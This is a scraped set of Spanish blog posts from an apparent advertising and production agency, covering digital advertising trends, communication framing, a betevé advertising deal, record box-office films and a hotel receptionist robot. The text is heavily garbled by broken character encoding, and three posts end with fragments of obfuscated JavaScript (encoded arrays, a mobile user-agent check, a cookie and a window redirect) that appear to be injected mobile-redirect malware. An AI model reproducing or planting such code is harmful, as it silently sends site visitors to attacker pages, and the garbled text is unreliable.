La publicidad digital está a punto de superar a la televisiva

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El crecimiento de campañas en páginas web, redes sociales y buscadores aumentará hasta sobrepasar los anuncios tradicionales de televisión

Según los expertos, está previsto que en 2020 la publicidad digital supere a la convencional de televisión. Un claro ejemplo de que los tiempos en el mundo de la comunicación están cambiando, sobre todo desde la implantación global de internet a nivel usuario y el crecimiento imparable de la influencia de buscadores o redes sociales.




Esta tendencia es positiva en el sentido de que todo aumento en consumo publicitario, ya sea digital o convencional, es bueno para el crecimiento de la industria. La parte negativa llega con el hecho de que más de la mitad de la inversión para los años venideros se centrará en los buscadores, un área en la que Google es dueño y señor, poseyendo prácticamente el monopolio de las búsquedas en internet, un apartado imprescindible para todo aquel que quiera tener visibilidad en la red.




Por otro lado estA?n las redes sociales. Youtube como negocio es una realidad, y cada vez son mA?s los usuarios que prefieren el consumo de vA�deos a la carta en el tiempo que ellos deseen que no depender de una parrilla televisiva rA�gida y poco atractiva para segA?n quA� edades o gustos. AsA� ha crecido el fenA?meno youtuber, sobre una base de inversiA?n publicitaria enorme cuya tendencia es inevitablemente creciente.

El resto de redes como Facebook, Twitter o Instagram tambiA�n ofrecen la posibilidad de invertir para obtener mA?s visibilidad y, en consecuencia, mA?s seguidores y likes por publicaciA?n. Un claro ejemplo de que la publicidad se estA? concentrando en nichos cada vez mA?s reducidos donde la efectividad, sin embargo, es mayor.

Todo esto no significa que cuando llegue 2020 serA? el fin de anuncios como el de la LoterA�a de Navidad o el del primer spot de aA�o nuevo, el mA?s caro del aA�o, pero estaremos atentos a quA� nos depara el mercado de la publicidad en aA�os venideros, puesto que nosotros, como potenciales usuarios, tendremos todavA�a mucho que decir. x2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

A?Lo importante es poder hablar?

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A?LO IMPORTANTE ES PODER HABLAR?

a�?Lo importante es poder hablara�? era el eslogan de una operadora de telefonA�a mA?vil hace algunos aA�os. Era un buen a�?claima�? en un momento en el que ofrecer buena cobertura era el gran caballo de batalla de las telefA?nicas. E hizo fortuna.

Pero la frase en sA� misma es falsa.

Yo puedo hablar con un polaco muchas horas, pero si yo no entiendo el polaco y A�l no tiene ni papa de mi idioma, vamos mal.

TambiA�n he estado en reuniones de comunidad de vecinos donde todos hemos hablado mucho y despuA�s de dos agotadoras horas y cuando la cara de la administradora es un puro a�?o se ponen de acuerdo con la puta puerta del parking o juro que me tiro al Llobregat esta nochea�?, entonces alguien pregunta: a�?al final, A?quA�?a�?

Hay otras mA?s divertidas. Esa noche en que me hago el empA?tico con una estupenda estudiante de veterinaria que advierte en mi entusiasmo una incontestable erecciA?n. No triunfo, como el lector podrA? imaginar.

Podemos hablar mucho pero solemos quedarnos con lo que decimos y no siempre prestamos suficiente atenciA?n a lo que el otro entiende.

Los populismos polA�ticos, ahora emergentes, con discursos dirigidos a crear emociones han sabido entenderlo. Los clubes de fA?tbol tambiA�n saben apelar a las emociones y se centran en lo que va a captar su siempre fiel audiencia. Ya decA�a Lakoff que habA�a que movilizar a los tuyos y no a los que nunca te van a votar, y hacerlo con mensajes que esos tuyos entiendan. No importa si lo que se dice es verdad, sA?lo importa crear la emociA?n, la estructura mental, el a�?marcoa�?. Es conocido su ejemplo a�?no pienses en un elefantea�? que automA?ticamente nos hace pensar en elefantes. Las paradojas son inherentes a los simpA?ticos humanos.

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Cuando Nixon apareciA? en la televisiA?n y dijo a�?no soy un chorizoa�? consiguiA? que inmediatamente todos los americanos le vieran como un chorizo y no como un inocente monje franciscano. A�l mismo creA? el marco a�?chorizoa�?. Tuvo que dimitir.

En cualquier comunicaciA?n hay ruido, como en el juego del telA�fono en que uno le dice al oA�do una palabra que luego se pasa a otro jugador y al final la palabra a�?Contubernioa�? se convierte en una humilde a�?Chirimoyaa�?. Pero el error mA?s comA?n es no escoger el camino mA?s limpio: escoger el canal adecuado, el lenguaje (los signos) comunes y los marcos que el receptor quiere asumir.

A?Quieres que tu interlocutor compre tu discurso? Piensa en A�l y no en ti. No le hables de la tecnologA�a del coche que le quieres vender, cA�ntrate en lo que pretende conseguir con el nuevo coche y no le digas cA?mo, sA?lo intenta que se lo imagine A�l mismo. a�?A?Te gusta conducir?a�? (BMW), a�?El secador mA?s caro del mundoa�? (VW Golf Cabrio) o a�?Siempre quisiste ser el mA?s rA?pidoa�? (VW Golf GTI, sobre una imagen de un espermatozoide llegando el primero al A?vulo) son ejemplos de cA?mo crear un marco, una emociA?n. Y sin decir una sola palabra sobre el coche.

La comunicaciA?n necesita de lo mismo que un pase en el fA?tbol: ya puedes poner el balA?n en el sitio perfecto que si el jugador que lo ha de recibir no a�?leea�? la jugada el balA?n se pierde.

En OneProduccions y OneAdMedia lo tenemos claro y hacemos nuestra la frase de Frank Luntz: a�?Lo importante no es lo que dices sino lo que se te entiendea�?. AhA� estA? la clave oculta.

betevA� otorga la exclusiva de su publicidad comercial a OneAdMedia

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Desde el pasado mes de Febrero, la agencia OneAdMedia es el nuevo exclusivista comercial de betevA�, la televisiA?n de Barcelona.

OneAdMedia, que ya es partner o colaborador de otros medios, serA? la encargada de negociar y contratar los espacios publicitarios tanto de la televisiA?n betevA� como de la radio betevA� 91.0fm y el portal beteve.cat.

Quedan fuera de este acuerdo las negociaciones con las instituciones publicas con las que la televisiA?n pA?blica de la ciudad condal ya tiene cerrados acuerdos anuales.

Los responsables de OneAdMedia, Roberto Gargallo y Carlos Alonso-de-Porres consideran que betevA� a�?es un autA�ntico bombA?n para los anunciantes, especialmente para los que tienen su mercado centrado en la ciudada�?, y destacan de la cadena a�?su proximidad a la calle y una calidad y compromiso de servicio de todos sus programas que no puedes encontrar en ningA?n otro canal. Para nosotros es una gran motivaciA?na�?.

La hasta ahora conocida como BTV o Barcelona TelevisiA? acaba de relanzar su marca con una remodelaciA?n total de su imagen, que incluye la nueva marca a�?betevA�a�? como eje principal de su nueva visibilidad.

Momento de la firma

*En la foto A�Sergi Vicente, director de betevA� (izquierda) junto a los responsables de OneAdMedia Robert Gargallo y Carlos Alonso-de-Porres, ultimando el acuerdo. |inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

PelA�culas que, en su momento, fueron las mA?s taquilleras

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El rA�cord de la pelA�cula mA?s taquillera de la historia se supera a menudo. Actualmente, este puesto lo ostenta el esperado filme estrenado el aA�o pasado Star Wars: el despertar de la fuerza, sobrepasando los 2.000 millones de dA?lares de recaudaciA?n en taquilla. Sin embargo, antes del lanzamiento de la pelA�cula de J.J. Abrams, hubo muchas otras que consiguieron un A�xito rotundo en las taquillas a lo largo de la historia del cine, consiguiendo tambiA�n altos ingresos. Hoy haremos un repaso a algunos de estos clA?sicos que mA?s gente vio en su momento:

  • Ben-Hur (1925), esta versiA?n muda consiguiA? mA?s de 9 millones de dA?lares de la A�poca en taquillas.
  • El cantor de jazz (1928) se convirtiA? en la primera pelA�cula sonora mA?s taquillera con casi 6 millones de dA?lares.
  • Blancanieves y los siete enanitos (1937) fue un A�xito: mA?s de 8.5 millores de dA?lares recaudados.
  • Lo que el viento se llevA? (1939). Se calcula que ingresA? unos 32 millones de dA?lares.
  • Sonrisas y lA?grimas (1965). DespuA�s de mA?s de cuatro aA�os en las carteleras estadounidenses, el resultado fue de mA?s de 68 millones de dA?lares en ingresos sA?lo en territorio americano. A nivel mundial, la cifra ascendiA? a 112.48 millones.
  • El Padrino (1972) batiA? el rA�cord de su A�poca llegando a los 142 millones de dA?lares.
  • TiburA?n (1975) no sA?lo supuso el inicio del blockbuster que conocemos hoy en dA�a sino que ademA?s tuvo unos ingresos de 300 millones de dA?lares.
  • E.T., el extraterrestre (1982) alcanzA? la cifra de 619 millones en recaudaciones en taquilla.
  • Parque JurA?sicoA�(1993) rozA? los mil millones, quedA?ndose en 914.
  • Titanic (1997), en cambio, se convirtiA? en la primera pelA�cula de la historia del cine en llegar a los 1.000 millones de dA?lares en ingresos en taquilla.
  • Avatar (2009), por su parte,A�ha pasado a la historia por ser la primera pelA�cula en superar los 2.000 millones de dA?lares recaudados.

MA?s informaciA?n: One Produccions | One Media

Connie, el robot recepcionista que mejora interactuando

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La robA?tica ha mejorado considerablemente a lo largo de los A?ltimos aA�os, llegando a verse en peligro algunos puestos de trabajo. De hecho, tal como comentamos en un post anterior, los expertos auguran que en las prA?ximas dA�cadas los robots se apoderarA?n de una gran cantidad de puestos de trabajo en algunos paA�ses. Por ejemplo, en 2030 en JapA?n se espera que la mitad de empleados sean robots y en Estados Unidos se pronostica una automatizaciA?n del empleo del 47%.

En este sentido, robots como Connie pueden suponer un gran avance en direcciA?n a los empleos del futuro. Este pequeA�o aparato se nutre de la inteligencia artificial Watson de IBM, un sistema que responde preguntas y mejora cuanto mA?s interactA?a. Hay que aA�adir que esta inteligencia artificial incluso ha participado en concursos de televisiA?n y en labores militares. Connie es un recepcionista de hotel que responderA? cualquier cuestiA?n que A�los visitantes y turistas le planteen, por ejemplo dA?nde cenar, quA� visitar o el horario de cierta atracciA?n turA�stica.

Para conseguir responder correctamente, Connie cuenta con una base de datos sobre informaciA?n turA�stica de la compaA�A�a WayBlazer. El pequeA�o robot tiene un aspecto simpA?tico e intenta mostrarse lo mA?s natural posible en sus interacciones. Por el momento, se ha estrenado en el hotel Hilton McLean de Virginia, Estados Unidos, donde ha empezado a trabajar dando la bienvenida ayudando a resolver dudas de los huA�spedes.

MA?s informaciA?n: One Produccions | One Media )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}